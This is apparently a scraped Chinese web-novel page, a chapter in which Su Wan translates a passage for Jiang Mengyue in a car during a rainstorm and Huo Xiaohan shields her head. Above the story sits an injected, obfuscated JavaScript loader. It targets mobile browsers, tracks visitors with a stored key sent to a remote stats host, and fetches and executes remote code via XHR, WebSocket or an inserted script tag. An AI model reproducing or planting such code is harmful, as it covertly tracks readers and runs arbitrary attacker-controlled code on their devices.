第197章 时凛来了!(第3页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
"谢谢梦悦姐了。"苏婉声音甜甜的说道。
蒋梦悦家的方向是和军区大院完全相反的方向,因为下着暴雨又刮着大风的缘故,车辆行驶速度并不快。
且有的路段积水很深,所以小张开车很小心。
两个人坐在后座上聊了一会儿之后,话题很自然地就说到了她们现在翻译的外国书籍。
蒋梦悦翻译的是一本外国的爱情小说,她既然翻译肯定是边翻译边看,也被故事里面的主人公吸引,竭力地想要将这本爱情小说翻译好。
想要用中文更好更准确地向读者传递出男女主主人公之间的爱恨纠葛。
所以她随身携带着这本小说,此时就拿出挎包中的那本稿件,指着其中一段给苏婉看。
询问苏婉这段怎么翻译才能更好。
苏婉低下头看着,其实她有一个毛病,就是不能坐在晃荡的车上看书看字,一看就头晕想吐。
尤其外面下着大雨,路面崎岖不平的,更是让她心里直翻。
但因为只有这么一段,她也就忍着了。
两人正一起探讨着该如何翻译这段,蒋梦悦却在这个时候突然抬起头,朝车内后视镜的方向看去。
就见车内后视镜中一双漆黑深敛的眼睛,正一瞬不瞬地注视着苏婉,眸中星华流转。
敏锐的查看到她的视线,那道眸光波澜不惊的移向她,看了一眼。
蒋梦悦唇角愉悦的轻勾,又无声的看向低着头的苏婉,冲着霍枭寒扬了扬眉。
意思已经在为明显不过了。
就是喜欢的话赶紧追啊。
她觉得这位军官和陆组长是不一样的,有着强烈的自主意识,不是那种会听从家里话的。
也应该不会嫌弃苏婉是个农村来的,反而是欣赏。
霍枭寒收回视线,望向车窗外雨势渐小的细雨,心口攒动。
陆离深邃的眼眸看似平静,里面却是一片翻江倒海,唇角轻抿。
蒋梦悦也是搞不懂了,霍团长明明就是喜欢,为什么不敢去追,去表白啊。
是觉得自己是军官,而苏婉还是位高中学生,觉得不符合规定
但是高中生也有很多结婚处对象的啊。
不对,励志高中好像是严禁在校学生处对象的。
所以霍团长是在顾虑这个
那不更应该早点儿打报告结婚吗
这个学校是管不了的。
车子行驶到了小路,颠簸得越发厉害了,苏婉忍着心里的翻涌,将自己对这段话的理解,用词考究的翻译了出来。
蒋梦悦一听眼睛都亮了,"苏婉,你简直太棒了,我要的就是这个感觉。"
兴奋的一下抱住了苏婉。
苏婉被这么一抱,加上车辆又颠簸了一下,两个人一下没坐稳,就要掉到车座底下。
眼看苏婉的脑袋就要撞到副座椅靠背上,一直注视着两人的霍枭寒立刻转过身,用手护在苏婉的后脑勺上。
后知后觉的苏婉被蒋梦悦扶起坐好后,才发现霍枭寒用的是右手,连忙紧张的询问道:"霍团长,你的手没事吧"
"没事。路比较颠,你们坐稳点儿。"霍枭寒转过身,下颌收紧,面无表情的说道。
整个右边肩膀都有些僵直,不敢有太大的动作,显然是刚才那一下牵拉到了即将愈合的伤口。
而这个时候车也停在了蒋梦悦的家门口。
"霍团长,你的肩膀真的没事吗"蒋梦悦下车后,苏婉咽了一口口水,想要将漫上喉间的翻涌给咽下去。
她在医院照顾霍枭寒那么几天,很清楚他的伤口状况。
"没事。"霍枭寒瞥了一眼车内后视镜,光线很暗,但是不难看出苏婉的脸色有点儿白,一双精致顺滑的眉眼难受地簇着。
接着下一秒,他就对着小张喊道:"停车。"